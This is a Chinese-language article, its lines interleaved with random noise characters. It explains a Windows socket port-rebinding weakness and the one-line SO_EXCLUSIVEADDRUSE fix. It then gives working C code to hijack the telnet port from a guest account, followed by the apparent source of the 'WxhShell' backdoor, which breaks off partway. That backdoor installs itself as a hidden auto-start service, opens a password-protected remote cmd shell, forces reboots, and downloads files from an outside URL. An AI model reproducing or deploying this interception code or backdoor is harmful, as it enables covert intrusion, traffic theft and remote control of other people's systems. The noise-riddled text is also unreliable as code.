在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+U{8Mj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7p*PDoM6` PNY"Lqj saddr.sin_family = AF_INET;
5'wWj}0!% Uo?g@D saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!qk+>6~A, K8M[xaI@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
jsB%RvX =n.d' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%0l'Nuz S?ELFq(g 这意味着什么?意味着可以进行如下的攻击:
3y?I^ .B /W\@/b, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Q`-JRY- 5r)ndW,aN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@-=0T!/ 1"tyxAo\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Pj(DlC7G, ChzKwYDY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C$?gt-tJ' k?]`PUrV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
?e( y/ K",YAfJa 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&iR3]FNI :}(Aq;}X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:_9MS0 8h"Val|qP #include
U4;r.#qw, #include
APY^A6^:j #include
QS(aA*D #include
;PM(q<@\ DWORD WINAPI ClientThread(LPVOID lpParam);
&[71~.Od int main()
K|[p4*6 {
D>tex/Of3 WORD wVersionRequested;
ou8V7 DWORD ret;
Ai>=n; WSADATA wsaData;
iQs^2z#Bd BOOL val;
&w15GO;4 SOCKADDR_IN saddr;
I)7STzlMj. SOCKADDR_IN scaddr;
b>g&Pf#N! int err;
xE>H:YPm SOCKET s;
Y$JGpeq8w SOCKET sc;
N,k PR int caddsize;
xAJ
N(8? HANDLE mt;
9~3;upWu! DWORD tid;
v *'anw&Z wVersionRequested = MAKEWORD( 2, 2 );
aia`mO] err = WSAStartup( wVersionRequested, &wsaData );
/`6Y-8e2 if ( err != 0 ) {
u NmbR8Mx printf("error!WSAStartup failed!\n");
Ub[SUeBGH return -1;
7\(mn$ }
Vx'82CIC saddr.sin_family = AF_INET;
:\hcl&W: j'L/eps?S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]k+XL*]' A S +wy^x@@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
YkWv*l saddr.sin_port = htons(23);
arVu`pD*n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ki|KtKAu_9 {
LAs#g||M printf("error!socket failed!\n");
@6["A'h return -1;
o,qq*}= }
P}"=67$ val = TRUE;
hSAdD! //SO_REUSEADDR选项就是可以实现端口重绑定的
CG#lpAs if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
srS2v\1: {
rF@njw@ printf("error!setsockopt failed!\n");
/;5U-<qf return -1;
y5@#leM }
hHA!.u4& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4Fu:ov
]M //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
h D5NX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h2S!< TA4>12C6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y~ 2C2'7 {
Zc!rL0T ret=GetLastError();
DsJ ikg(J printf("error!bind failed!\n");
5r2A^<) return -1;
mYUR(*[ }
1s-dqHz"s listen(s,2);
~Un+Zs%24 while(1)
8Cx6Me>,= {
lL\%eQ caddsize = sizeof(scaddr);
>b;o&E`\ //接受连接请求
4*0C_F@RX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sA(d_Yu_ if(sc!=INVALID_SOCKET)
wak:"B[ {
jmORKX+) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
WHF[l1 if(mt==NULL)
MiK
-W {
gDN7ly]6M printf("Thread Creat Failed!\n");
~`Y!_ '(x break;
1j_gQ,'20 }
o}4~CN9} }
*VX"_C0Jy= CloseHandle(mt);
\=1$$EDS9 }
s!IX3rz closesocket(s);
APgjT';P^ WSACleanup();
NZb}n`: return 0;
"1P[D'HV4| }
AONEUSxJ DWORD WINAPI ClientThread(LPVOID lpParam)
:
Iq {
A4~-{.w= SOCKET ss = (SOCKET)lpParam;
|l-~,eRvi5 SOCKET sc;
8(zE^W,[8" unsigned char buf[4096];
zi^?9n), SOCKADDR_IN saddr;
!-veL1r long num;
@D[tljc^ DWORD val;
OA7YWk<K DWORD ret;
*SK`&V //如果是隐藏端口应用的话,可以在此处加一些判断
$,.XPK5Qu //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]Y3NmL saddr.sin_family = AF_INET;
11^.oa+` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
IRknD3LX saddr.sin_port = htons(23);
u~xfI[8C if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;!hwcO kX {
{{r.?m#{ printf("error!socket failed!\n");
)Fsc0_ return -1;
Te6cw+6 }
tE8aL{<R val = 100;
]5O]=^
u0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^?V9 {
Z g.La<# ret = GetLastError();
6!Q,XHs return -1;
O0^?VW$y_ }
;7>k[?'e if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
NNxzZ!q! {
<GWzdj? ret = GetLastError();
n\i~H return -1;
v]GQb }
1 2VSzIm if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
S[;d\Z]~ {
9u;/l#?@T printf("error!socket connect failed!\n");
-Hh.8(!XoO closesocket(sc);
gy`WBg(7x closesocket(ss);
GYt|[GC return -1;
)61X,z }
/ q| o while(1)
*B)J(^M!q {
$'x#rW>v //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
L,O.XR //如果是嗅探内容的话,可以再此处进行内容分析和记录
%<O0Yenu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
JKz]fgOd$ num = recv(ss,buf,4096,0);
X \BxRgl}, if(num>0)
O?`_RN4l send(sc,buf,num,0);
RsW4 '5 else if(num==0)
vlq L break;
7'!DK;=TD6 num = recv(sc,buf,4096,0);
Z8ds`KZM if(num>0)
x~JOg57up send(ss,buf,num,0);
F.{$HJ else if(num==0)
+>ld break;
{%oxzdPc }
]]NTvr closesocket(ss);
R $@$ closesocket(sc);
"-Yj~ return 0 ;
yNhRh>l }
S}P rgw/ mb>8=hMg | Rj"}SC ==========================================================
)A$xt)}P!{ \ZtKaEXnx 下边附上一个代码,,WXhSHELL
gW-mXb /PKu",Azj ==========================================================
W)<t7q+ $-p9cyk #include "stdafx.h"
feJl[3@tO &;naaV_2T #include <stdio.h>
TT oW>RP# #include <string.h>
KPAvN M #include <windows.h>
K: |-s4= #include <winsock2.h>
(]` rri*^ #include <winsvc.h>
20]p< #include <urlmon.h>
jp7cPpk:LG NRT@"3,1YP #pragma comment (lib, "Ws2_32.lib")
z?@N+||,. #pragma comment (lib, "urlmon.lib")
Nt|Fw$3*5{ *\Lr]6k #define MAX_USER 100 // 最大客户端连接数
:O7n*lwx #define BUF_SOCK 200 // sock buffer
'5(T0Ws/w #define KEY_BUFF 255 // 输入 buffer
h=4 GSU \hWac%# #define REBOOT 0 // 重启
-zzoz x]S= #define SHUTDOWN 1 // 关机
%NDr5E^cc ,h9?o #define DEF_PORT 5000 // 监听端口
_C)\X(; 3lTnfc& #define REG_LEN 16 // 注册表键长度
-\7_^8 am #define SVC_LEN 80 // NT服务名长度
1ozb
tn #5=W[+4eN // 从dll定义API
CFUn1^?0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[1mEdtqf* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NwVhJdo typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]=p^32 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"yc|ng I+,CiJ|4 // wxhshell配置信息
c^<~Y$i struct WSCFG {
]_j={0% int ws_port; // 监听端口
p=m:^9/ char ws_passstr[REG_LEN]; // 口令
!4T!@"# int ws_autoins; // 安装标记, 1=yes 0=no
m8V}E&6 char ws_regname[REG_LEN]; // 注册表键名
Q_Wg4n5 char ws_svcname[REG_LEN]; // 服务名
`2/V.REX$h char ws_svcdisp[SVC_LEN]; // 服务显示名
yJ="dEn>i" char ws_svcdesc[SVC_LEN]; // 服务描述信息
dQz#&&s-
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[FZq'E"87 int ws_downexe; // 下载执行标记, 1=yes 0=no
TPs
]n7]: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.Q^V,[on1T char ws_filenam[SVC_LEN]; // 下载后保存的文件名
m@UrFPZ ^#XQ2UN };
pfs]pDjS: mGa :~x // default Wxhshell configuration
ExM VGe struct WSCFG wscfg={DEF_PORT,
.K]Uk/W "xuhuanlingzhe",
>?#zPweA 1,
R9(Yi<CC "Wxhshell",
^]D+H9Tl "Wxhshell",
Sx8C<S5r< "WxhShell Service",
MxH |yo[ "Wrsky Windows CmdShell Service",
!b=W>5h "Please Input Your Password: ",
;XQ27,K& 1,
!zsrORF{ "
http://www.wrsky.com/wxhshell.exe",
NTEN "Wxhshell.exe"
rHi4Pw{L };
`(ik2#B`} T2n3g|4 // 消息定义模块
'\GU(j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1:r#m- \ char *msg_ws_prompt="\n\r? for help\n\r#>";
M~n./wyC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
DN iH" 0% char *msg_ws_ext="\n\rExit.";
-L<FVB char *msg_ws_end="\n\rQuit.";
-$X4RS char *msg_ws_boot="\n\rReboot...";
h#c7v!g char *msg_ws_poff="\n\rShutdown...";
)TEm1\ char *msg_ws_down="\n\rSave to ";
/::Y &&$f 4U16'd char *msg_ws_err="\n\rErr!";
WEJ-K<A( char *msg_ws_ok="\n\rOK!";
.
:>e"D #WJ*)$A@& char ExeFile[MAX_PATH];
1{wbC) int nUser = 0;
ef)zf+o HANDLE handles[MAX_USER];
LlS~J K int OsIsNt;
C#4_`4{ >q0%yh- SERVICE_STATUS serviceStatus;
IA{W-RRb SERVICE_STATUS_HANDLE hServiceStatusHandle;
!{ {gL=_@ |fIyq}{7 // 函数声明
f$ tm<:)Y int Install(void);
m@u%3*: int Uninstall(void);
mYj)![ int DownloadFile(char *sURL, SOCKET wsh);
GwfC l{l int Boot(int flag);
+KD7Di91<K void HideProc(void);
;4(}e{ int GetOsVer(void);
x7Gf):,LK int Wxhshell(SOCKET wsl);
j@w1S[vt void TalkWithClient(void *cs);
:`Ep#[Wvo int CmdShell(SOCKET sock);
Br15S};Ce int StartFromService(void);
z{FFTb^B int StartWxhshell(LPSTR lpCmdLine);
2Y<]X7Ch: FE]UqB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
rlA/eQrS VOID WINAPI NTServiceHandler( DWORD fdwControl );
mU~&oU Nd+1r|e' // 数据结构和表定义
^8A[
^cgq SERVICE_TABLE_ENTRY DispatchTable[] =
aL`wz ! {
"<{|ni} {wscfg.ws_svcname, NTServiceMain},
,p OGT71 {NULL, NULL}
kN78j };
I{r*Y9 l^OflZC~ // 自我安装
}r! +wp int Install(void)
t=xEUOQAn {
#9Jr?K43
char svExeFile[MAX_PATH];
n>R(e> HKEY key;
,lStT+A strcpy(svExeFile,ExeFile);
=<#G~8WYz U4^c{KWS // 如果是win9x系统,修改注册表设为自启动
tXH;4K@ if(!OsIsNt) {
IVkB)9IW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pf107S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]@b9m RegCloseKey(key);
,[t?$Cy; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c{_JPy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>;'0ymG.` RegCloseKey(key);
SOOJq C return 0;
{wsJ1v8! }
qT !lq }
# =tw
,S }
'"\'<>Be else {
y(MB_B7j xVbRCu#Z // 如果是NT以上系统,安装为系统服务
j6Sg~nRh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
'j<u0'K@ if (schSCManager!=0)
abm 3q!a- {
DKu$u ]Z SC_HANDLE schService = CreateService
'QxJU$ (
kY'Wf`y( schSCManager,
FRZ]E)9Z]b wscfg.ws_svcname,
{_\cd.AuT wscfg.ws_svcdisp,
%),u0:go SERVICE_ALL_ACCESS,
m7g*zu2# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"n`z`{<n SERVICE_AUTO_START,
<<CWN(hQWO SERVICE_ERROR_NORMAL,
j&_>_*.y svExeFile,
} `Ya; NULL,
rU&Y/ NULL,
=CRptk6tS NULL,
b<~-s sL7a NULL,
@R50M (@W NULL
#`
gu<xlW );
Xi) ;dcNJ if (schService!=0)
rMi\#[oB {
GRbbU#/=G CloseServiceHandle(schService);
qar{*>LCG CloseServiceHandle(schSCManager);
c8"Qmy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
GT6i9*tb# strcat(svExeFile,wscfg.ws_svcname);
-5+Yz9pv[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1' U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*2->>"kh RegCloseKey(key);
*
7Ov.v% return 0;
&C+2p }
XLCqB|8`V }
Z>bNU CloseServiceHandle(schSCManager);
_!qD/[/ }
|
U"fhG=g }
EI6kBRMo su%-b\8K return 1;
GI/NouaNfm }
,++HiYOG}e 8R!-,I"$ // 自我卸载
0VtjVz*C7& int Uninstall(void)
Q|h$D~ {
#eOHe4Vt HKEY key;
,^8':X"A{! `1(ED= | if(!OsIsNt) {
_Ffg"xoC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"WQ6[;&V RegDeleteValue(key,wscfg.ws_regname);
]zaTX?F: RegCloseKey(key);
FEu"b@v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SfC* ZM}< RegDeleteValue(key,wscfg.ws_regname);
||QK)$" RegCloseKey(key);
O}Pqbx& return 0;
)5~T%_ }
b)Da6fp }
7uL.=th' }
SA}Dkt&, else {
= NZgbl f0sLe 3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
03v+eT if (schSCManager!=0)
j;@a~bks6z {
heou\;GI" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+5*bU1}O if (schService!=0)
Z/G#3-5)p {
mz6]=]1w if(DeleteService(schService)!=0) {
RVttk )Ny CloseServiceHandle(schService);
TG$#aX\' CloseServiceHandle(schSCManager);
>"bW' return 0;
iSezrN }
}k-8PG = CloseServiceHandle(schService);
^rO"U[To }
1bQO:n):~ CloseServiceHandle(schSCManager);
c.Sd~k:3 }
|YROxY"ML }
>P~*@>e 6CHb\k return 1;
!' ^l}K> }
4jebx
jZ k-=lt\? // 从指定url下载文件
6R<+_e+v int DownloadFile(char *sURL, SOCKET wsh)
wB0vpt5f {
yjL+1_"B HRESULT hr;
w=;> char seps[]= "/";
"NLuAB.P char *token;
Hq::F? char *file;
o}:x-Y char myURL[MAX_PATH];
v:4j3J$z char myFILE[MAX_PATH];
; >H1A CYy=f- strcpy(myURL,sURL);
-_t4A * token=strtok(myURL,seps);
8bdO-LJ9 while(token!=NULL)
R&.&x'< {
0}NDi|o file=token;
mP
}<{oh`x token=strtok(NULL,seps);
Y,0Z&6 < }
2H.g!( Oza /}~=)QHH GetCurrentDirectory(MAX_PATH,myFILE);
4E 5;wH strcat(myFILE, "\\");
M{G}-QK_. strcat(myFILE, file);
;X<Ez5v3 send(wsh,myFILE,strlen(myFILE),0);
07:V[@' send(wsh,"...",3,0);
}p*|8$#x" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&mVClq if(hr==S_OK)
%50)?J=zB return 0;
|;~=^a3?q else
qH4|k2Lm return 1;
W..*!UGl ^@* `vz^_ }
mTtaqo_Bh 46D`h!7L // 系统电源模块
9zqo!& int Boot(int flag)
v[ML=pL {
4Z%1eOR9V HANDLE hToken;
/A,w{09G TOKEN_PRIVILEGES tkp;
!xck
~EAS Z[*unIk if(OsIsNt) {
lH=|Qu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$aJ6i7C,j} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
L$_%T tkp.PrivilegeCount = 1;
<<?32r~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
o=7,U/{D! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
YT+b{ if(flag==REBOOT) {
a_P|KRl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>"!ScYn return 0;
0}e?hbF%U }
/.7RWy` else {
$L0sBW& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
I
m
I$~q' return 0;
q{9 \hEeb }
$?W2'Xm!V }
[G$ #jUt/O else {
G1jj:]1 if(flag==REBOOT) {
e&ysj:W5
" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*`"+J_ return 0;
p*0[:/4 }
WC<[<uI* else {
W=^.s>7G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
wl]3g return 0;
_"Bj`5S }
M#o.O?.` }
*t| !xO gC2}?nq* return 1;
3E;@.jD }
KHZ[drb6$ d]s^?=gM // win9x进程隐藏模块
1-E6ACq void HideProc(void)
f:+/=MW {
Lq>lj`> *tj(,:! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
B;N<{Gb if ( hKernel != NULL )
ULz<P {
bC:sd2s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
RKzty=j4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[pTdeg;QE FreeLibrary(hKernel);
-W^{)%4g }
$]_SPu .+(V</ return;
F\+AA }
FhY#3-jH R&(OWF;~, // 获取操作系统版本
WcqR; Nm int GetOsVer(void)
$Ah
p4oiE {
KJQ8Yhq OSVERSIONINFO winfo;
Ll; v[Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
RBf#5VjOG! GetVersionEx(&winfo);
FCNYfjB% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5n2!Y\ return 1;
C lf;+G0 else
!1I# L!9 return 0;
)M0(vog }
Q/?`); &v .S_Ym // 客户端句柄模块
C5 ILVQ int Wxhshell(SOCKET wsl)
1z7+:~;l {
^
34Ng SOCKET wsh;
*:TwO=) struct sockaddr_in client;
0,RYO :` DWORD myID;
5@>hjXi"Y ?[ )}N
_o# while(nUser<MAX_USER)
8d5#vm {
d)-ZL*o int nSize=sizeof(client);
E{ c+`>CY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
HL"c yxe if(wsh==INVALID_SOCKET) return 1;
!Q|a R -&7?!<f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
UAXp;W` if(handles[nUser]==0)
JR]elRR closesocket(wsh);
C <:g"F:k else
lfM vNv nUser++;
KDEyVYO: }
n~yHt/T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
cy,6^d
n(Nu return 0;
:1 qLRr }
K!CVS7 5B:"$vC{= // 关闭 socket
QEqYqAGzu| void CloseIt(SOCKET wsh)
Mu`_^gG {
TM6wjHFm closesocket(wsh);
3_
J'+ nUser--;
1W>/4l ExitThread(0);
h?dSn:Y\? }
heIys.p D+uo gRS61 // 客户端请求句柄
v[uVAbfQ void TalkWithClient(void *cs)
j;}-x1R {
s:6K'* jGo%Aase SOCKET wsh=(SOCKET)cs;
! N2uJ?t char pwd[SVC_LEN];
^}$t(t char cmd[KEY_BUFF];
>4wigc char chr[1];
iWjNK"W int i,j;
'Iw`+=iVz p]S'pzh while (nUser < MAX_USER) {
A<c<!N ktqFgU#rT if(wscfg.ws_passstr) {
JmCHwyUK? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=Ks&m4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UNb7WN //ZeroMemory(pwd,KEY_BUFF);
T U_'1 i=0;
0cB]:*W while(i<SVC_LEN) {
.?NfV%vv vT{(7m!Ra // 设置超时
p9i7<X2& fd_set FdRead;
no-";{c struct timeval TimeOut;
6
DQOar>d FD_ZERO(&FdRead);
[7.Num_L FD_SET(wsh,&FdRead);
ek5j;%~g1 TimeOut.tv_sec=8;
_$T
!><)y TimeOut.tv_usec=0;
qfT9g>EF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c}OveR$'& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+$ djX=3 6,LE_ -G5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
XixjdBFP pwd
=chr[0]; am/}V%^
if(chr[0]==0xd || chr[0]==0xa) { .a2R2~35
pwd=0; .&b^6$dC
break; qmpT G:+
} AoGpM,W]5
i++; _hV34:1F
} _)vX_gCi
n5~Dxk
// 如果是非法用户,关闭 socket ?3DFm
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y'>9'/&
} OcF_x/#
|g{50r'=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J ##a;6@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y_]y :H
h/C{
while(1) { AUF[hzA
do^=Oq07$
ZeroMemory(cmd,KEY_BUFF); c[M4l
JQ}4{k
// 自动支持客户端 telnet标准 ]EF"QLNN(
j=0;
'uz o[>p
while(j<KEY_BUFF) { R $<{"b
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !2AD/dtt
cmd[j]=chr[0]; 4S>#>(n7=
if(chr[0]==0xa || chr[0]==0xd) { Q3+%8zZI
cmd[j]=0; zhow\l2t}
break; pR0!bgC
} _^{RtP#=
j++; n>JJ Xw,,
} hH>a{7V
#QlxEs#%
// 下载文件 6E_~8oEl
if(strstr(cmd,"http://")) { ]+pE1-p\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Se[=$W
if(DownloadFile(cmd,wsh)) [%LGiCU]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `@\FpV[|P
else ?-&k?I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?7CdJgJp
} 2vUcSKG7
else { D3g5#.$,}>
^`xS|Sq1D
switch(cmd[0]) { -+qg
BuM#&]s
// 帮助 0*P-/)o x
case '?': { gmTBp}3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5R.jhYAj
break; ,e OZv=:
} z4J\BB
// 安装 g; R
case 'i': { .I{u[
"
if(Install()) yWc%z6dXC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -2laM9Ed
else }<2|6 {
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v^/<2/E"?4
break; QN#Lbsd
} {1UU `d
// 卸载 [xfg6
case 'r': { p `oB._
R
if(Uninstall()) ,lCFe0>k!=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +c]D2@ctG
else S~z$=IiB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'YN:cr,V
break; fUq}dAs*K
} RigS1A\2l
// 显示 wxhshell 所在路径 h+q#|N
case 'p': { (u8OTq@
char svExeFile[MAX_PATH]; Wvd-be
strcpy(svExeFile,"\n\r"); 'q/C: Yo
strcat(svExeFile,ExeFile); w5-^Py
send(wsh,svExeFile,strlen(svExeFile),0); WzdlrkD
break; Lo[;{A$u
} qoph#\
// 重启 fk2Uxg=[
case 'b': { A&KY7[<AC{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9l&G2 o
if(Boot(REBOOT)) |tY6+T}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:2 xm8
i
else { H`3w=T+I
closesocket(wsh); <VN< ~sz
ExitThread(0); .;vd
} \Ff]}4
break; ]=|iO~WN
} "AWk
jdj
// 关机 K;`*n7=IA
case 'd': { 1-4[w
*u>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _{B2z[G}
if(Boot(SHUTDOWN)) v+C D{Tc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~d3BVKP5
else { #N=_-
closesocket(wsh); 2gvS`+<TP
ExitThread(0); Mns=X)/hc
} E[CvxVCx
break; %<q"&]e,
} )5<dmK@
// 获取shell Vz5<Gr
case 's': { DAN"&&
CmdShell(wsh); u0uz~ s
closesocket(wsh); 3WfZ zb+
ExitThread(0); Y8mv[+Z
break; >qI:
} ZkMHy1
// 退出 (Zy=e?E,
case 'x': { hL;??h,!_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k[1[Y{n.
CloseIt(wsh); s, #$o3
break; <dk9n}y<,
} !C.{nOfyv
// 离开 G<*h,'B
case 'q': { ,=%c
e
send(wsh,msg_ws_end,strlen(msg_ws_end),0); dt>!=<|k
closesocket(wsh); Z%-uyT@a
WSACleanup(); 6|Rj
YX
exit(1); w'5W L
break; ?GZ?HK|
} b DF_
} YWq{?'AaR
} @zix%x
sg]g;U
// 提示信息 @[rlwwG,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [9p@uRE
} mL,{ZL ^
} l4^8$@;s
,6U=F#z
return; hn/SS
} Qbj:^{`>(
P6tJo{l8w
// shell模块句柄 ZQJh5.B
int CmdShell(SOCKET sock) twTRw:.!f
{ cja-MljD
STARTUPINFO si; 1[dQVJqMp(
ZeroMemory(&si,sizeof(si)); dp1t]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W?@+LQa??
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YGq-AB
PROCESS_INFORMATION ProcessInfo; tkix@Q!;\
char cmdline[]="cmd"; _..5G7%#%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); abV,]x&.0
return 0; K*MI8')
} z<<aT
Qnp.Na[JV
// 自身启动模式 piiO5fK|
int StartFromService(void) _lk5\bu
{ |VoYFoiQ
typedef struct =u&NdMy
{ W!Rr_'yFe)
DWORD ExitStatus; ,H su;I~
DWORD PebBaseAddress; ~U4;YlQP
DWORD AffinityMask; 0k|/]zfb
DWORD BasePriority; Z~7}
ULONG UniqueProcessId; xWty2/!h
